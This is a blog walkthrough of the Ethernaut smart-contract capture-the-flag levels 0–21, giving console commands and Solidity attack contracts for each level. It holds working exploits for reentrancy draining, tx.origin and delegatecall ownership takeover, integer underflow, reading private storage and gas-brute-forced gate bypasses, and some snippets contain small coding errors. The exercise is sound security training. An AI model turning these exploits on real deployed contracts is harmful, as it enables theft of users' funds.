Ethernaut Solutions

December 10, 2021

Hello, in this series we will solve the ethernaut. Let's get start.

I don't explaint how to connect your metamask etc. Here is the steps:

await contract.info();
await contract.info1();
await contract.info2('hello');
await contract.infoNum();
await contract.info42();
await contract.theMethodName();
await contract.method7123949();

and it says: If you know the password, submit it to authenticate(). Do we know the password? Just write this:

await contract.password();

Here is our password: ethernaut0

await contract.authenticate('ethernaut0');

You just passed it. Submit your instance.

Level 1

Let's start with explaining what is fallback.

In Ethereum you can interact with smart contracts using transaction's data section. For example here is an example.

In the bottom you can see the data:

0x791ac947000000000000000000000000000000000000000000b591acdac0ecca1d4d73aa000000000000000000000000000000000000000000000000097a6d3d7c2cdc0500000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000e036f6f02ce9415579a29cf2e2a4628afc3e89220000000000000000000000000000000000000000000000000000000061b3aa240000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ab167e816e4d76089119900e941befdfa37d6b32000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Let's parse it:

First 4 byte (8 hexadecimal character) 0x791ac947 is our function selector. Every function has a function selector. You can calculate a function's selector with keccak256("functionName(uint,uint)") (this function takes 2 uint parameter). And take result's first 4 byte.

EVM works like this. If you want to learn more about it, OpenZeppelin has an awesome series.

Okay. Now we know function selectors. If the EVM cannot match the function selector you sent with any of the function selectors in the contract or you didn't sent any function selector (empty data), it tries to run fallback function.

So in our ethernaut level we have a receive function. It takes the non-zero msg.value transactions (don't forget, it is a fallback function). In this function there is two lines of code:

require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;

if msg.value > 0 and contributions[msg.sender] > 0 we can be the owner. And owner can withdraw. So let's contribute first.

await contract.contribute({ value: web3.utils.toWei('0.0001', 'ether') });

You can check your contributions with:

await contract.contributions(player).toString();

Now we can be the owner. You can send ethers directly from your metamask to the contract. You don't have to send big numbers of ethers.

await contract.owner();

ta daa...

Now we can withdraw the balance:

await contract.withdraw();

Submit your instance.

Level 2

This level wants to show us how important are constructor names (in earlier versions of solidity). The contract's name is Fallout but constructor's name is Fal1out. Give attention to 1 in the name of constructor.

This is intentional but there are some real-world examples of this mistake.

So you can call Fal1out function, and you'll be the owner:

await contract.Fal1out();

Now you can submit your instance.

Level 3

In this level we have to know the coin flip outcomes 10 times in a row. So, if you don't have psychih abilities like me, we can use programmer abilities.

EVM process every transaction as sandboxed. Until the transaction finished/confimed, there will be no changes in state. The thing we will benefit is that.

I wrote this contract and deployed it to rinkeby network:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface ITarget {
    function flip(bool _guess) external returns (bool);
}

contract Psychic {
    function psychic() external {
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        uint256 blockValue = uint256(blockhash(block.number - 1));

        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if(side == true) {
            ITarget(YOUR_INSTANCE_ADDRESS_HERE).flip(true);
        } else {
            ITarget(YOUR_INSTANCE_ADDRESS_HERE).flip(false);
        }
    }
}

My psychic function calculates the flip result, and send it's guess to the target. Don't forget to change YOUR_INSTANCE_ADDRESS_HERE.

You can run this function in every ~15 secs. Because of those lines:

if (lastHash == blockValue) {
    revert();
}

After you run successfully 10 times, you can submit your instance.

Level 4

In this level we have a function like this:

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
        owner = _owner;
    }
}

What is tx.origin and msg.sender?

tx.origin: Who starts the transaction. It is an EOA (Externally Owned Account).

msg.sender: Who calls this function.

So, we can write a contract that calls this function. In this case tx.origin will be our eoa and msg.sender will be the our contract address. Here is my contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface ITarget {
    function changeOwner(address _owner) external;
}

contract TheOtherGuy {
    function takeOwnership() external {
        ITarget(YOUR_INSTANCE_ADDRESS_HERE).changeOwner(msg.sender);
    }
}

Don't forgot to change YOUR_INSTANCE_ADDRESS_HERE.

When you deploy this contract and call takeOwnership function, you are the new owner.

Submit your instance.

Level 5

This level wants to teach you overflow/underflow. In transfer there is no checks for them. So we can transfer 21 tokens to another address.

await contract.transfer('AN_ADDRESS_AS_STRING', 21);

In this case your balance will be 20 - 21. Is it -1? No! It is underflowed and your new balance is:

115792089237316195423570985008687907853269984665640564039457584007913129639935

You can submit your instance.

Level 6

delegatecall is a very deep concept. So, I'll just give you the answer. If you want to understan how this happened, search for what is solidity delegatecall.

await web3.eth.sendTransaction({
  from: player,
  to: 'YOUR_INSTANCE_ADDRESS',
  data: '0xdd365b8b',
});

data is the function selector of pwn() function.

Level 7

How can you send ether to this contract? You can't send directly from your metamask. Because this contract doesn't have a fallback function.

Here is the solution: selfdestruct. You can selfdestruct a contract with an address parameter. That address will get all ethers of the selfdestructed contract.

Here is my contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

contract TakeThatMoney {

    receive() external payable {}

    function makeItRich() public {
        selfdestruct(payable("YOUR_INSTANCE_ADDRESS_HERE"));
    }
}

Deploy this contract to rinkeby, send some ethers to it from your metamask, run the makeItRich() function. That's it.

Submit your instance.

Level 8

Private variables are not "private" in Ethereum. It is just for access control, not for visibility. So we can get the password:

await web3.eth.getStorageAt('YOUR_INSTANCE_ADDRESS_HERE', 1);

The result is in bytes32. So if you want to read it in ascii:

web3.utils.toAscii(
  await web3.eth.getStorageAt('YOUR_INSTANCE_ADDRESS_HERE', 1)
);

And the password is: A very strong secret password :)

We have to send bytes32 password to unlock() function.

await contract.unlock(
  '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
);

Submit your instance.

Level 9

Deploy this contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

contract NewKing {
    function attack() external payable {
        (bool success, ) = payable("YOUR_INSTANCE_ADDRESS").call{value: msg.value}("");
        require(success);
    }
}

run attack() with 1 Ether.

Submit your instance.

Level 10

Deploy this contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface ITarget {
  function withdraw(uint _amount) external;
  function donate(address _to) external payable;
}

contract Thief {
    address targetAddress = "YOUR_INSTANCE_ADDRESS";
    uint amount = 1 ether;

    function donate() external payable {
        ITarget(targetAddress).donate{value: amount}(address(this));
        ITarget(targetAddress).withdraw(amount);
    }

    receive() external payable {
        uint targetBalance = address(targetAddress).balance;
        if (targetBalance != 0 ) {
            if (targetBalance < 1 ether) {
                ITarget(targetAddress).withdraw(targetBalance);
            } else {
                ITarget(targetAddress).withdraw(amount);
            }
        }
    }
}

Run donate() function with 1 ether.

Submit your instance.

Level 11

Let's deploy our contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface ITarget {
    function goTo(uint _floor) external;
}

contract Elevate {

    bool lock;

    function attack() external {
        ITarget(0x90eABb2510272d0B092ECb63389613Ff30926ADd).goTo(3);
    }

    function isLastFloor(uint _guess) public returns(bool) {
        _guess++;
        if(!lock) {
            lock = true;
            return false;
        } else {
            return true;
        }
    }
}

And call our attack() function. That's it.

Submit your instance.

Level 12

In this level there are some slot tricks. And our key should be equal to data[2].

data[2]'s slot is index is 5. So let's get it.

await web3.eth.getStorageAt(contract.address, 5);

When you get it, you have to know it is a bytes32 data. And our function wants to bytes16 data. So, we have to convert it.

You can basically get the first half of the data above. Which will be our bytes16 data.

After then, you can call the unlock function:

await contract.unlock('0x1186757b464bedbce9290b230b339aad');

Sumbit your instance.

Level 13

Deploy this contract and run passGate() function (use compiler version 0.6.0 and no optimization):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface GatekeeperOne {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneAttack {
    GatekeeperOne public instance;

    constructor (address instanceAddr) public {
        instance = GatekeeperOne(instanceAddr);
    }

    function passGate () public {
        uint64 ukey = 0xffffffff00000000 + uint16(msg.sender);
        bytes8 key = bytes8(ukey);
        uint addGas = 250;
        bool result = false;
        while(!result && addGas < 350) {
            try instance.enter.gas(4 * 8191 + addGas)(key) returns (bool _result) {
                result = _result;
            } catch {
            }

            addGas++;
        }
    }
}

Submit your instance

Level 14

Deploy this contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface GatekeeperTwo {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoBroker {
    GatekeeperTwo public instance;

    constructor (address instanceAddr) public {
        instance = GatekeeperTwo(instanceAddr);
        bytes32 _hash = keccak256(abi.encodePacked(address(this)));
        uint64 ukey = ~uint64(bytes8(_hash));
        bytes8 key = bytes8(ukey);

        instance.enter(key);
    }
}

Submit your instance.

Level 15

Deploy this contract:

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;

interface IERC20 {
    function transferFrom(address _sender, address recipient, uint amount) external;
    function balanceOf(address _owner) external returns(uint);
}

contract Attack {
    address instanceAddress = YOUR_INSTANCE_ADDRESS;
    address playerAddress = YOUR_INSTANCE_ADDRESS;

    function attack() external {
        IERC20(instanceAddress).transferFrom(playerAddress, address(1), IERC20(instanceAddress).balanceOf(playerAddress));
    }
}

Change your instance address and player address. Take this contrac's address and:

await contract.approve(
  'YOUR_ATTACK_CONTRACT_ADDRESS',
  '1000000000000000000000000'
);

After then run the attack() function.

Submit your instance.

Level 16

Deploy this contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  uint storedTime;

  function setTime(uint _time) public {
    storedTime = _time;
    owner = 0x9B4a0c2783E1a80269C35083a92e9d9445E84B38;
  }

  function whatIsYourAddress() public view returns(uint){
    return uint(uint160(address(this)));}
}

Run the whatIsYourAddress() function. Take that number and run this call in your ethernaut console:

await contract.setFirstTime('YOUR_NUMBER_HERE');

After this tx is confirmed:

await contract.setFirstTime(1);

Now, you are the owner. Submit your instance.

Level 17

Take your instance address and go to it's etherscan page from here.

Go to you internal tx's section. There should be a contract creation. Copy that created contract's address and past it to remix.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/utils/math/SafeMath.sol';

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public {
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

Paste the address you got from etherscan to at address section. And click to at address.

Now enter an address to destroy() function and run.

Submit your instance.

Level 18

Deploy this contract and run attack() function.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

interface ITarget {
    function setSolver(address _solver) external;
}

contract SolveIt {

    function attack() public {
        bytes memory bytecode = hex"600a600c600039600a6000f3602a60005260206000f3";
        bytes32 salt = 0;
        address solver;

        assembly {
            solver := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
        }

        ITarget(0xfe18998ea57E55c77CeD0fF80e79DB4A8021201c).setSolver(solver);
    }
}

Submit your instance.

Level 19

Run these commands sequantially:

await contract.make_contact();
await contract.retract();
await contract.revise(
  '35707666377435648211887908874984608119992236509074197713628505308453184860938',
  '0x000000000000000000000000YOUR_ADDRESS_HERE_WITHOUT_0x_PREFIX'
);

Don't forget to change YOUR_ADDRESS_HERE_WITHOUT_0x_PREFIX.

Submit your instance.

Level 20

In this level you don't have to deploy any contract. You can run this command in your ethernaut console:

await contract.setWithdrawPartner('0x2C68B51837c38B5f9B1e20acf607efed175B9BC7');

and after than:

await contract.withdraw();

If you want to understand how we did solve this level, continue to read.

Basically I wanted to run an assert in fallback function. But it didn't work out. So I researched and found this answer. Thanks hroussille!

Level 21

Deploy this contract and run attackBumBum function:

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ITarget {
      function isSold() external view returns (bool);
      function buy() external;
}

contract Attacker {
    address targetAddress = 0x5160C63C4010272fBFc2aa83317E4ddF20461244;

    function price() external view returns(uint) {
        bool res = ITarget(targetAddress).isSold();

        if(res) {
            return 0;
        } else {
            return 100;
        }
    }

    function attackBumBum() external {
        ITarget(targetAddress).buy();
    }
}

Submit your instance.